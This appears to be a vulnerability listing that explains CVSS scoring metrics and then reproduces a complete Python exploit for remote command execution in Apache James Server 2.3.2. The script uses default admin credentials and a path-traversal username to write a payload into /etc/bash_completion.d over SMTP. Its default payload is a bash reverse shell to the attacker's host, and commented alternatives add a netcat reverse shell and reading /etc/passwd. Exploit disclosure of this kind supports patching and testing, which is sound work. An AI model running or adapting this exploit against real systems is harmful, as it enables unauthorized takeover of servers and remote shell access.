The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Apache James Server 2.3.2 Remote Command Execution
# Exploit Title: Apache James Server 2.3.2 - Remote Command Execution (RCE) (Authenticated) (2)
# Date: 27/09/2021
# Exploit Author: shinris3n
# Vendor Homepage: http://james.apache.org/server/
# Software Link: http://ftp.ps.pl/pub/apache/james/server/apache-james-2.3.2.zip
# Version: Apache James Server 2.3.2
# Tested on: Ubuntu
# Info: This exploit works on default installation of Apache James Server 2.3.2
# Info: Example paths that will automatically execute payload on some action: /etc/bash_completion.d , /etc/pm/config.d
'''
This Python 3 implementation is based on the original (Python 2) exploit code developed by
Jakub Palaczynski, Marcin Woloszyn, Maciej Grabiec. The following modifications were made:
1 - Made required changes to print and socket commands for Python 3 compatibility.
1 - Changed the default payload to a basic bash reverse shell script and added a netcat option.
2 - Changed the command line syntax to allow user input of remote ip, local ip and listener port to correspond with #2.
3 - Added a payload that can be used for testing remote command execution and connectivity.
4 - Added payload and listener information output based on payload selection and user input.
5 - Added execution output clarifications and additional informational comments throughout the code.
@shinris3n
https://twitter.com/shinris3n
https://shinris3n.github.io/
'''
#!/usr/bin/python3
import socket
import sys
import time
# credentials to James Remote Administration Tool (Default - root/root)
user = 'root'
pwd = 'root'
if len(sys.argv) != 4:
sys.stderr.write("[-]Usage: python3 %s <remote ip> <local ip> <local listener port>\n" % sys.argv[0])
sys.stderr.write("[-]Example: python3 %s 172.16.1.66 172.16.1.139 443\n" % sys.argv[0])
sys.stderr.write("[-]Note: The default payload is a basic bash reverse shell - check script for details and other options.\n")
sys.exit(1)
remote_ip = sys.argv[1]
local_ip = sys.argv[2]
port = sys.argv[3]
# Select payload prior to running script - default is a reverse shell executed upon any user logging in (i.e. via SSH)
payload = '/bin/bash -i >& /dev/tcp/' + local_ip + '/' + port + ' 0>&1' # basic bash reverse shell exploit executes after user login
#payload = 'nc -e /bin/sh ' + local_ip + ' ' + port # basic netcat reverse shell
#payload = 'echo $USER && cat /etc/passwd && ping -c 4 ' + local_ip # test remote command execution capabilities and connectivity
#payload = '[ "$(id -u)" == "0" ] && touch /root/proof.txt' # proof of concept exploit on root user login only
print ("[+]Payload Selected (see script for more options): ", payload)
if '/bin/bash' in payload:
print ("[+]Example netcat listener syntax to use after successful execution: nc -lvnp", port)
def recv(s):
s.recv(1024)
time.sleep(0.2)
try:
print ("[+]Connecting to James Remote Administration Tool...")
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((remote_ip,4555)) # Assumes James Remote Administration Tool is running on Port 4555, change if necessary.
s.recv(1024)
s.send((user + "\n").encode('utf-8'))
s.recv(1024)
s.send((pwd + "\n").encode('utf-8'))
s.recv(1024)
print ("[+]Creating user...")
s.send("adduser ../../../../../../../../etc/bash_completion.d exploit\n".encode('utf-8'))
s.recv(1024)
s.send("quit\n".encode('utf-8'))
s.close()
print ("[+]Connecting to James SMTP server...")
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((remote_ip,25)) # Assumes default SMTP port, change if necessary.
s.send("ehlo [email protected]\r\n".encode('utf-8'))
recv(s)
print ("[+]Sending payload...")
s.send("mail from: <'@team.pl>\r\n".encode('utf-8'))
recv(s)
# also try s.send("rcpt to: <../../../../../../../../etc/bash_completion.d@hostname>\r\n".encode('utf-8')) if the recipient cannot be found
s.send("rcpt to: <../../../../../../../../etc/bash_completion.d>\r\n".encode('utf-8'))
recv(s)
s.send("data\r\n".encode('utf-8'))
recv(s)
s.send("From: [email protected]\r\n".encode('utf-8'))
s.send("\r\n".encode('utf-8'))
s.send("'\n".encode('utf-8'))
s.send((payload + "\n").encode('utf-8'))
s.send("\r\n.\r\n".encode('utf-8'))
recv(s)
s.send("quit\r\n".encode('utf-8'))
recv(s)
s.close()
print ("[+]Done! Payload will be executed once somebody logs in (i.e. via SSH).")
if '/bin/bash' in payload:
print ("[+]Don't forget to start a listener on port", port, "before logging in!")
except:
print ("Connection failed.")
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